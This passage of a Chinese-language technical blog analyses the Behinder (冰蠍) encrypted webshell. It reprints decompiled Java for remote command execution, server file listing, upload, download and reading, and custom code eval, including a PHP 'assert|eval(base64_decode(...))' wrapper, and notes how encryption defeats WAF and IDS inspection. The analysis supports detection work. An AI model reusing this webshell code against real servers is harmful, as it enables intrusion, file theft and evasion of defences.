    String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
    JSONObject result = new JSONObject(resultTxt);
    Iterator var9 = result.keySet().iterator();

    while(var9.hasNext()) {
        String key = (String)var9.next();
        result.put(key, new String(Base64.decode(result.getString(key)), "UTF-8"));
    }

    return result;
}

CmdUtil顯示返回數據

try {
    int lines = cmdView.getText().split("\n").length;
    String lastLine = cmdView.getText().split("\n")[lines - 1];
    String cmd = lastLine.substring(lastLine.indexOf(pwd) + pwd.length());
    JSONObject resultObj = this.currentShellService.runCmd(cmd);
    if (resultObj.getString("status").equals("success")) {
        cmdView.insert("\n" + resultObj.getString("msg") + "\n");
        cmdView.insert(pwd);
        this.statusLabel.setText("命令執行完成");
        this.currentPos = cmdView.getCaretPosition();
    } else {
        cmdView.insert("\n" + resultObj.getString("msg") + "\n");
        cmdView.insert(pwd);
        this.statusLabel.setText("命令執行失敗:" + resultObj.getString("msg"));
    }

    e.doit = false;
} catch (Exception var10) {
    e.doit = false;
    var10.printStackTrace();
    this.statusLabel.setText(var10.getMessage());
    var10.printStackTrace();
}

命令執行完成

0x06 文件管理 FileOperation

文件管理的過程其實也是和上面getBasicInfo和runCmd的過程類似,整個代碼執行的過程在net.rebeyond.behinder.ui.FileManagerUtils,在這個類里面定義了listFile,downloadFile,deleteFile,openFile,showFile,saveFile,uploadFile等常用操作,但是FileManagerUtils只負責界面部分,邏輯部分則調用ShellService的相應方法來實現。

ShellService里面對於文件管理定義了listFiles,deleteFile,showFile,doanloadFile,uploadFile,appendFile等方法,在這些方法里面代碼邏輯也是比較相似,調用Utils.getData和Utils.requestAndParse來獲取要發送到服務端執行的payload的加密和base64編碼的class字節數組,並通過requestAndParse發送和獲取返回的執行結果,所以核心部分還是在net.rebeyond.behinder.payload.java.FileOperation類里面。

net.rebeyond.behinder.payload.java.FileOperation執行payload的入口是equals方法,並通過mode這個靜態公有變量來判斷用戶在客戶端執行的操作和調用相應的方法,list,show,delete,create,append,doawload等。

try {
        if (mode.equalsIgnoreCase("list")) {
            ((Map)result).put("msg", this.list(page));
            ((Map)result).put("status", "success");
        } else if (mode.equalsIgnoreCase("show")) {
            ((Map)result).put("msg", this.show(page));
            ((Map)result).put("status", "success");
        } else if (mode.equalsIgnoreCase("delete")) {
            result = this.delete(page);
        } else if (mode.equalsIgnoreCase("create")) {
            ((Map)result).put("msg", this.create(page));
            ((Map)result).put("status", "success");
        } else if (mode.equalsIgnoreCase("createDir")) {
            this.createDir(page);
        } else if (mode.equalsIgnoreCase("append")) {
            ((Map)result).put("msg", this.append(page));
            ((Map)result).put("status", "success");
        } else if (mode.equalsIgnoreCase("download")) {
            this.download(page);
            return true;
        }
    } catch (Exception var6) {
        ((Map)result).put("msg", var6.getMessage());
        ((Map)result).put("status", "fail");
    }

list方法,列出指定路徑下的文件,判斷path是目錄還是文件,是目錄的那就遍歷目錄下的文件並獲取每個文件的基本信息,包括文件類型,文件名,文件大小,文件讀寫執行的權限和上次修改的時間,文件的那就直接獲取文件的基本信息。

private String list(PageContext page) throws Exception {
    String result = "";
    File f = new File(path);
    List<Map<String, String>> objArr = new ArrayList();
    if (f.isDirectory()) {
        File[] var8;
        int var7 = (var8 = f.listFiles()).length;

        for(int var6 = 0; var6 < var7; ++var6) {
            File temp = var8[var6];
            Map<String, String> obj = new HashMap();
            obj.put("type", temp.isDirectory() ? "directory" : "file");
            obj.put("name", temp.getName());
            obj.put("size", String.valueOf(temp.length()));
            obj.put("perm", temp.canRead() + "," + temp.canWrite() + "," + temp.canExecute());
            obj.put("lastModified", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(temp.lastModified())));
            objArr.add(obj);
        }
    } else {
        Map<String, String> obj = new HashMap();
        obj.put("type", f.isDirectory() ? "directory" : "file");
        obj.put("name", new String(f.getName().getBytes(this.osCharset), "GBK"));
        obj.put("size", String.valueOf(f.length()));
        obj.put("lastModified", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(f.lastModified())));
        objArr.add(obj);
    }

    result = this.buildJsonArray(objArr, true);
    return result;
}

create方法,創建文件,在ShellService里upload方法就是調用create方法來上傳文件。這里也比較常規,就是接收要寫入的內容並打開輸出流,將內容輸出到文件,這里要注意接收回來的數據是經過了base64編碼,所以要先進行base64解碼再輸出到文件。

private String create(PageContext page) throws Exception {
    String result = "";
    FileOutputStream fso = new FileOutputStream(path);
    fso.write((new BASE64Decoder()).decodeBuffer(content));
    fso.flush();
    fso.close();
    result = path + "上傳完成,遠程文件大小:" + (new File(path)).length();
    return result;
}

doanload方法,show方法也比較簡單,doanload方法打開一個FileInputStream,show打開一個InputStreamReader,然后通過while循環讀取文件內容並返回給客戶端

private void download(PageContext page) throws Exception {
    FileInputStream fis = new FileInputStream(path);
    byte[] buffer = new byte[1024000];
    int length = false;
    ServletOutputStream sos = page.getResponse().getOutputStream();

    int length;
    while((length = fis.read(buffer)) > 0) {
        sos.write(Arrays.copyOfRange(buffer, 0, length));
    }

    sos.flush();
    sos.close();
    fis.close();
}
private String show(PageContext page) throws Exception {
    if (charset == null) {
        charset = System.getProperty("file.encoding");
    }

    StringBuffer sb = new StringBuffer();
    File f = new File(path);
    if (f.exists() && f.isFile()) {
        InputStreamReader isr = new InputStreamReader(new FileInputStream(f), charset);
        BufferedReader br = new BufferedReader(isr);
        String str = null;

        while((str = br.readLine()) != null) {
            sb.append(str + "\n");
        }

        br.close();
        isr.close();
    }

    return sb.toString();
}

上面的文件操作方法比較簡單也比較常規。完成了以上操作之后,就將執行結果base64編碼並轉換成json格式,然后用之前連接的時候協商的密匙進行aes加密並將密文返回給客戶端。

try {
    ServletOutputStream so = this.Response.getOutputStream();
    so.write(this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
    so.flush();
    so.close();
    page.getOut().clear();
} catch (Exception var5) {
    var5.printStackTrace();
}

return true;

客戶端接收到返回的結果之后Shellservice再解密,解析json格式字符串,base64解碼並返回到FileManagerUtils,然后FileManagerUtils再在界面上顯示出明文信息。至此,FileManagerUtils部分結束。整個邏輯也是比較簡單的,常規的。

其實在密匙協商和連接建立之后的getBasicInfo或者runCmd理解了之后,可以發現后面的FileManagerUtil,以及其它的功能比如DBManager,ConnectBack都是類似的邏輯,XXXUtils(DBManagerUtils,ConnectBackUtils)調用ShellService對應的方法,然后調用Utils.getData和Utils.requestAndParse方法獲取要發送到服務端執行的payload的加密base64編碼的class字節數組並將服務端執行后的返回結果返回給XXXUtils,XXXUtils在再根據結果進行相應處理。但是下面這個eval執行自定義代碼卻有點不一樣,我們一起來看一下。

0x07 自定義代碼執行 eval

EvalUtils的execute方法調用ShellService的eval方法,eval方法先調用Utils.getClassFromSourceCode將執行的代碼轉換成為class字節數組,然后就和上面的有一點不同,不調用熟悉的getData,而是調用getEvalData,然后再調用requestAndParse。

public String eval(String sourceCode) throws Exception {
    String result = null;
    byte[] payload = null;
    byte[] payload;
    if (this.currentType.equals("jsp")) {
        payload = Utils.getClassFromSourceCode(sourceCode);
    } else {
        payload = sourceCode.getBytes();
    }

    byte[] data = Utils.getEvalData(this.currentKey, this.encryptType, this.currentType, payload);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");
    result = new String(resData);
    return result;
}

在getEvalData里面,對傳進來的class字節數組加密和base64編碼,然后再返回給ShellService.eval方法,然后再requestAndParse,所以其實getClassFromSourceCode和getEvalData可以理解成就是一個getData,只是獲取payload的class字節數組的方式不同。

public static byte[] getEvalData(String key, int encryptType, String type, byte[] payload) throws Exception {
    byte[] result = null;
    byte[] encrypedBincls;
    if (type.equals("jsp")) {
        encrypedBincls = Crypt.Encrypt(payload, key);
        String basedEncryBincls = Base64.encode(encrypedBincls);
        result = basedEncryBincls.getBytes();
    } else if (type.equals("php")) {
        encrypedBincls = ("assert|eval(base64_decode('" + Base64.encode(payload) + "'));").getBytes();
        byte[] encrypedBincls = Crypt.EncryptForPhp(encrypedBincls, key, encryptType);
        result = Base64.encode(encrypedBincls).getBytes();
    } else if (type.equals("aspx")) {
        Map<String, String> params = new LinkedHashMap();
        params.put("code", new String(payload));
        result = getData(key, encryptType, "Eval", params, type);
    } else if (type.equals("asp")) {
        encrypedBincls = Crypt.EncryptForAsp(payload, key);
        result = encrypedBincls;
    }

    return result;
}

public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
    return Run.getClassFromSourceCode(sourceCode);
}

作者在ShellService里面調用的是Utils.getClassFromSource方法然后再調用Run的getClassFromSourceCode方法,而不是調用Utils.getData的方法來獲取class字節數組。其實這里細心的話就可以發現,如果是采用前面Utils.getData的方式來獲取的話,payload是已經在代碼里面寫好了,只需要傳入參數,而現在的問題就在於payload是由使用者在客戶端來編寫的,而不是簡單的傳個參數就可以,所以這里才使用了Run.getClassFromSourceCode這種方式來獲取payload的class字節數組而不是采用Utils.getData來獲取payload的class字節數組。

net.rebeyond.behinder.utils.jc.Run.getClassFromSourceCode方法

public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
        byte[] classBytes = null;
        Pattern CLASS_PATTERN = Pattern.compile("class\\s+([$_a-zA-Z][$_a-zA-Z0-9]*)\\s*");
        Matcher matcher = CLASS_PATTERN.matcher(sourceCode);
        if (matcher.find()) {
            String cls = matcher.group(1);
            JavaCompiler jc = ToolProvider.getSystemJavaCompiler();
            if (jc == null) {
                throw new Exception("本地機器上沒有找到編譯環境,請確認:1.是否安裝了JDK環境;2." + System.getProperty("java.home") + File.separator + "lib目錄下是否有tools.jar.");
            } else {
                StandardJavaFileManager standardJavaFileManager = jc.getStandardFileManager((DiagnosticListener)null, (Locale)null, (Charset)null);
                JavaFileManager fileManager = new CustomClassloaderJavaFileManager(Run.class.getClassLoader(), standardJavaFileManager);
                JavaFileObject javaFileObject = new MyJavaFileObject(cls, sourceCode);
                List<String> options = new ArrayList();
                options.add("-source");
                options.add("1.6");
                options.add("-target");
                options.add("1.6");
                DiagnosticCollector<JavaFileObject> collector = new DiagnosticCollector();
                CompilationTask cTask = jc.getTask((Writer)null, fileManager, collector, options, (Iterable)null, Arrays.asList(javaFileObject));
                boolean result = cTask.call();
                if (!result) {
                    List<Diagnostic<? extends JavaFileObject>> diagnostics = collector.getDiagnostics();
                    Iterator var15 = diagnostics.iterator();
                    if (var15.hasNext()) {
                        Diagnostic<? extends JavaFileObject> diagnostic = (Diagnostic)var15.next();
                        throw new Exception(diagnostic.getMessage((Locale)null));
                    }
                }

                JavaFileObject fileObject = (JavaFileObject)CustomClassloaderJavaFileManager.fileObjects.get(cls);
                if (fileObject != null) {
                    classBytes = ((MyJavaFileObject)fileObject).getCompiledBytes();
                }

                return classBytes;
            }
        } else {
            throw new IllegalArgumentException("No such class name in " + sourceCode);
        }
    }
}

0x08 總結

其實理解冰蠍整個編寫思路並不難,里面的功能(獲取服務器基本信息,執行系統命令,文件管理,數據庫管理,反彈meterpreter,執行自定義代碼等)大致的過程都比較類似。都是在對應的XXXUtils里面調用ShellService的各個對應方法,然后ShellService里面又調用Utils的getData來獲取要執行的payload的加密字節數組,在Utils.requestAndParse里發送加密和base64編碼的字節數組和接收返回結果,再將返回結果交給ShellService和XXXUtils進行處理。最核心的部分還是在密匙協商那部分,BasicInfoUtils.getBasicInfo->ShellService構造方法->Utils.getKeyAndCookie,這部分也是waf,ids,ips在檢測冰蠍的時候最關注的部分,只要密匙協商和連接成功建立,waf,ids等流量安全設備基本上就面對加密的數據束手無策。大家進行分析的時候,可以由這部分開始進行分析,這部分明朗了之后后面的分析基本上就會水到渠成。

參開鏈接:
https://xz.aliyun.com/t/2744 利用動態二進制加密實現新型一句話木馬之Java篇 冰蠍


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM